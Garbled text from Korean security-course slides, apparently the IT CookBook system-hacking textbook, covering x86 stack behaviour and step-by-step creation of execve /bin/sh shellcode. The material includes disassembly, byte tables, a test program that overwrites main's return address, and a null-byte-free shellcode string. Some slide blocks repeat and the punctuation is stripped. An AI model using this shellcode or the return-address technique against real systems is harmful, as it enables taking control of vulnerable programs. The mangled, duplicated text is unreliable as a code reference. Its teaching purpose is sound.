셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 67: 80×86  시스템에 대한 이해

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 68: 80×86  시스템에 대한 이해

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

